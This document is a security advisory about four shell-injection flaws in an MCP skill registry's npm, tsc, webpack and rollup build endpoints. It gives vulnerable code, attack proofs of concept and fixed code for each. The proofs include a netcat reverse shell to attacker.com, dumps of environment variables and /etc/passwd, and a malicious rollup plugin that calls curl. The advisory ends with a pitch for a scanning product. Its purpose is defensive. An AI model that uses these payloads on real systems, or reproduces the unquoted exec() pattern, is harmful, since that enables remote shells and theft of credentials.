Claude MCP skill code injection — skill build and compilation pipeline endpoints (SA-SKL-INJECTION58)
SA-SKL-INJECTION58 identifies four shell injection vulnerabilities in MCP skill registry skill build and compilation pipeline endpoints. Unquoted exec() calls for npm, tsc, webpack, and rollup accept user-supplied paths that break out of the intended command and execute arbitrary shell commands including reverse shells, credential exfiltration, and loading attacker-controlled plugins.
exec(`npm run build --prefix ${projectDir}`); attacker projectDir containing ; cat /etc/passwd exfiltrates user list via build log responseexec(`tsc --project ${tsConfigPath}`); attacker tsConfigPath containing ; nc attacker.com 4444 -e /bin/sh establishes persistent reverse shell from build workerexec(`webpack --config ${webpackConfig}`); attacker webpackConfig containing ; printenv exfiltrates all environment variables including NPM_AUTH_TOKEN and registry signing keyexec(`rollup -c ${rollupConfig}`); attacker injects space-separated --plugin /tmp/evil.js flag loading attacker-controlled rollup plugin from the build worker filesystemINJECTION58-001 — npm build shell injection via unquoted projectDir interpolation
The build pipeline endpoint accepts a projectDir path from the request body and interpolates it directly into a shell command string passed to Node.js child_process.exec(). The exec() function passes the entire string to /bin/sh -c, which interprets semicolons, pipes, backticks, and subshell $() constructs as command separators. An attacker who sets projectDir to a value containing a shell metacharacter breaks out of the intended npm run build command and executes an arbitrary second command with the same privileges as the build worker process.
The build worker process typically runs as a non-root service account but has access to the registry's artifact storage credentials, the npm authentication token used to publish packages, and the working directory containing every skill's source code currently being built. The attacker payload ; cat /etc/passwd >&1 demonstrates information disclosure, but more destructive payloads include reading /proc/self/environ for environment variable exfiltration, writing a cron job for persistence, or establishing an outbound reverse shell. Because the build log is returned to the caller in the API response, the attacker receives the command output synchronously without needing an out-of-band exfiltration channel.
// INJECTION58-001 — VULNERABLE
const { exec } = require('child_process');
const { promisify } = require('util');
const execAsync = promisify(exec);
router.post('/api/skills/:id/builds',
requireSession,
requireOwnership('skillId'),
async (req, res) => {
const { projectDir, buildScript } = req.body;
// VULNERABLE: projectDir interpolated directly into shell string
const { stdout, stderr } = await execAsync(
`npm run build --prefix ${projectDir}`
);
res.json({ ok: true, buildLog: stdout, errors: stderr });
}
);
Attack PoC — INJECTION58-001: The attacker submits a build request with a shell-metacharacter-injected projectDir. The cat /etc/passwd output is returned in the buildLog field of the API response.
// INJECTION58-001 — ATTACK PoC
fetch('https://registry.example.com/api/skills/my-skill-id/builds', {
method: 'POST',
headers: { 'Content-Type': 'application/json', 'Cookie': 'session=attacker_session' },
body: JSON.stringify({
// Shell injection: breaks out of npm command, reads /etc/passwd
projectDir: '/tmp/my-skill; cat /etc/passwd >&1',
buildScript: 'build',
}),
})
.then(r => r.json())
// buildLog contains /etc/passwd contents
.then(data => console.log('Exfiltrated:', data.buildLog));
// INJECTION58-001 — FIXED
const { execFile } = require('child_process');
const { promisify } = require('util');
const path = require('path');
const fs = require('fs');
const execFileAsync = promisify(execFile);
const BUILD_ROOT = '/srv/skill-builds'; // server-side build root
function safeContainPath(userPath) {
const resolved = fs.realpathSync(path.resolve(BUILD_ROOT, userPath));
if (!resolved.startsWith(BUILD_ROOT + path.sep)) {
throw new Error('Path traversal detected');
}
return resolved;
}
router.post('/api/skills/:id/builds',
requireSession,
requireOwnership('skillId'),
async (req, res) => {
const parsed = BuildRequestSchema.safeParse(req.body);
if (!parsed.success) return res.status(422).json({ error: parsed.error.issues });
const safeDir = safeContainPath(parsed.data.projectDir);
// FIXED: execFile with array args — no shell interpretation
const { stdout, stderr } = await execFileAsync(
'npm', ['run', 'build', '--prefix', safeDir],
{ timeout: 60_000, maxBuffer: 10 * 1024 * 1024 }
);
res.json({ ok: true, buildLog: stdout, errors: stderr });
}
);
INJECTION58-002 — tsc compilation shell injection establishes reverse shell from build worker
The TypeScript compilation step interpolates a user-supplied tsConfigPath directly into the tsc --project shell command. Because exec() passes the string to /bin/sh -c, a semicolon in the path terminates the tsc command and begins a new shell statement. An attacker injects ; nc attacker.com 4444 -e /bin/sh, causing the build worker to establish an outbound TCP connection to the attacker's listener and attach a shell. The resulting reverse shell persists for the lifetime of the nc process and survives the HTTP request completing, giving the attacker an interactive shell on the build worker long after the build API call returns.
Build workers in a typical MCP skill registry have access to the shared source code workspace for all concurrently building skills, the registry's internal network segment, and the container registry credentials used to push compiled skill artifacts. A persistent reverse shell on a build worker therefore enables the attacker to monitor other users' skill source code, inject backdoors into artifacts as they are built, and pivot to internal services using the build worker's network access and credentials.
// INJECTION58-002 — VULNERABLE
router.post('/api/skills/:id/builds/compile',
requireSession,
requireOwnership('skillId'),
async (req, res) => {
const { tsConfigPath } = req.body;
// VULNERABLE: tsConfigPath injected into shell string — reverse shell possible
const { stdout, stderr } = await execAsync(
`tsc --project ${tsConfigPath}`
);
res.json({ ok: true, compileOutput: stdout, errors: stderr });
}
);
Attack PoC — INJECTION58-002: The attacker submits a compilation request with a semicolon-injected tsConfigPath. The build worker spawns a reverse shell to the attacker's listener while the HTTP response hangs.
// INJECTION58-002 — ATTACK PoC
fetch('https://registry.example.com/api/skills/my-skill-id/builds/compile', {
method: 'POST',
headers: { 'Content-Type': 'application/json', 'Cookie': 'session=attacker_session' },
body: JSON.stringify({
// Shell injection: reverse shell back to attacker — persists after HTTP response
tsConfigPath: '/tmp/my-skill/tsconfig.json; nc attacker.com 4444 -e /bin/sh',
}),
});
// attacker listener: nc -lvnp 4444
// receives interactive shell on build worker with access to all building skills
// INJECTION58-002 — FIXED
router.post('/api/skills/:id/builds/compile',
requireSession,
requireOwnership('skillId'),
async (req, res) => {
const parsed = CompileRequestSchema.safeParse(req.body);
if (!parsed.success) return res.status(422).json({ error: parsed.error.issues });
const safeConfigPath = safeContainPath(parsed.data.tsConfigPath);
// FIXED: execFile with array args — semicolons are literal path characters, not shell
const { stdout, stderr } = await execFileAsync(
'tsc', ['--project', safeConfigPath],
{ timeout: 120_000, maxBuffer: 10 * 1024 * 1024 }
);
res.json({ ok: true, compileOutput: stdout, errors: stderr });
}
);
INJECTION58-003 — webpack config injection exfiltrates environment variables including auth tokens
The webpack bundling step interpolates a user-supplied webpackConfig path into the webpack --config shell command. An attacker injects ; printenv >&1 to dump all environment variables to stdout, which the build API returns in the response body. The build worker environment typically contains NPM_AUTH_TOKEN (a registry-scoped npm token for publishing skill packages), REGISTRY_SIGNING_KEY (the private key used to sign compiled skill artifacts), DATABASE_URL (the connection string for the registry's metadata database), and AWS or GCP credentials if the worker runs on a cloud provider. Exfiltrating these credentials gives the attacker persistent access to the registry's publishing pipeline that survives worker restarts and password rotations on application-level secrets.
// INJECTION58-003 — VULNERABLE
router.post('/api/skills/:id/builds/bundle',
requireSession,
requireOwnership('skillId'),
async (req, res) => {
const { webpackConfig } = req.body;
// VULNERABLE: webpackConfig injected into shell string — env var exfiltration
const { stdout, stderr } = await execAsync(
`webpack --config ${webpackConfig}`
);
res.json({ ok: true, bundleOutput: stdout, errors: stderr });
}
);
Attack PoC — INJECTION58-003: The attacker submits a bundle request injecting ; printenv. All environment variables including NPM_AUTH_TOKEN and REGISTRY_SIGNING_KEY are returned in the bundleOutput field.
// INJECTION58-003 — ATTACK PoC
fetch('https://registry.example.com/api/skills/my-skill-id/builds/bundle', {
method: 'POST',
headers: { 'Content-Type': 'application/json', 'Cookie': 'session=attacker_session' },
body: JSON.stringify({
// Shell injection: printenv dumps all env vars including auth tokens
webpackConfig: '/tmp/my-skill/webpack.config.js; printenv >&1',
}),
})
.then(r => r.json())
// bundleOutput contains NPM_AUTH_TOKEN, REGISTRY_SIGNING_KEY, DATABASE_URL
.then(data => console.log('Env vars:', data.bundleOutput));
// INJECTION58-003 — FIXED
router.post('/api/skills/:id/builds/bundle',
requireSession,
requireOwnership('skillId'),
async (req, res) => {
const parsed = BundleRequestSchema.safeParse(req.body);
if (!parsed.success) return res.status(422).json({ error: parsed.error.issues });
const safeConfigPath = safeContainPath(parsed.data.webpackConfig);
// FIXED: execFile with array args; sanitized env — strip sensitive vars from child
const { stdout, stderr } = await execFileAsync(
'webpack', ['--config', safeConfigPath],
{
timeout: 180_000,
maxBuffer: 20 * 1024 * 1024,
// FIXED: pass minimal env to child process — no credentials forwarded
env: { PATH: process.env.PATH, NODE_ENV: 'production' },
}
);
res.json({ ok: true, bundleOutput: stdout, errors: stderr });
}
);
INJECTION58-004 — rollup config argument injection loads attacker-controlled plugin from /tmp
The rollup bundling step interpolates a user-supplied rollupConfig path into the rollup -c shell command. While a simple semicolon injection is also possible, this finding exploits a subtler variant: the attacker injects a space followed by additional command-line flags that rollup itself interprets. By setting rollupConfig to /tmp/my-skill/rollup.config.js --plugin /tmp/evil.js, the attacker causes rollup to load the file at /tmp/evil.js as a rollup plugin. Because rollup plugins are JavaScript modules executed within the rollup build process, this gives the attacker code execution within the rollup worker process without requiring any shell metacharacters — bypassing simple metacharacter-based input sanitization that only strips ;, &, and | characters.
The attacker pre-stages the malicious plugin at /tmp/evil.js by exploiting a directory traversal in a previous file upload endpoint, or by using INJECTION58-001 through INJECTION58-003 to write the file in an earlier step. Because rollup plugins have full Node.js access within the build worker, the attacker-controlled plugin can read files, make network calls, and execute subprocesses with the same capabilities as the rollup process itself.
// INJECTION58-004 — VULNERABLE
router.post('/api/skills/:id/builds/rollup',
requireSession,
requireOwnership('skillId'),
async (req, res) => {
const { rollupConfig } = req.body;
// VULNERABLE: space injection adds --plugin flag — loads attacker plugin from /tmp
// Note: naive sanitization stripping ;|& chars does NOT prevent this
const { stdout, stderr } = await execAsync(
`rollup -c ${rollupConfig}`
);
res.json({ ok: true, rollupOutput: stdout, errors: stderr });
}
);
Attack PoC — INJECTION58-004: The attacker injects a space and --plugin /tmp/evil.js flag. Rollup loads the attacker-controlled plugin module during the build, executing arbitrary code without shell metacharacters that simpler sanitization would block.
// INJECTION58-004 — ATTACK PoC
// evil.js pre-staged at /tmp/evil.js on build worker via prior upload traversal
// Contents: export default { buildStart() { require('child_process').exec('curl attacker.com/pwn'); } }
fetch('https://registry.example.com/api/skills/my-skill-id/builds/rollup', {
method: 'POST',
headers: { 'Content-Type': 'application/json', 'Cookie': 'session=attacker_session' },
body: JSON.stringify({
// Space-based argument injection — no shell metacharacters, bypasses ; | & filters
rollupConfig: '/tmp/my-skill/rollup.config.js --plugin /tmp/evil.js',
}),
})
.then(r => r.json())
.then(data => console.log('Plugin executed during rollup build:', data));
// INJECTION58-004 — FIXED
router.post('/api/skills/:id/builds/rollup',
requireSession,
requireOwnership('skillId'),
async (req, res) => {
const parsed = RollupRequestSchema.safeParse(req.body);
if (!parsed.success) return res.status(422).json({ error: parsed.error.issues });
const safeConfigPath = safeContainPath(parsed.data.rollupConfig);
// FIXED: execFile with array args — space in path is treated as literal, not flag separator
// safeContainPath() ensures the config resolves within BUILD_ROOT; no --plugin injection possible
const { stdout, stderr } = await execFileAsync(
'rollup', ['-c', safeConfigPath],
{
timeout: 180_000,
maxBuffer: 20 * 1024 * 1024,
env: { PATH: process.env.PATH, NODE_ENV: 'production' },
}
);
res.json({ ok: true, rollupOutput: stdout, errors: stderr });
}
);
SkillAudit detection: The scanner identifies INJECTION58 patterns using two AST query classes: exec(` or execAsync(` template literal calls containing ${ interpolation — any template literal interpolation in a shell command string is flagged regardless of the tool name; and execFile( or spawn( calls where the second argument (args array) is constructed by string splitting rather than a literal array. The scanner also checks for realpathSync containment guards on path parameters and flags any missing env: override in execFile options on build pipeline handlers. Submit your MCP skill registry codebase to SkillAudit for a full audit report.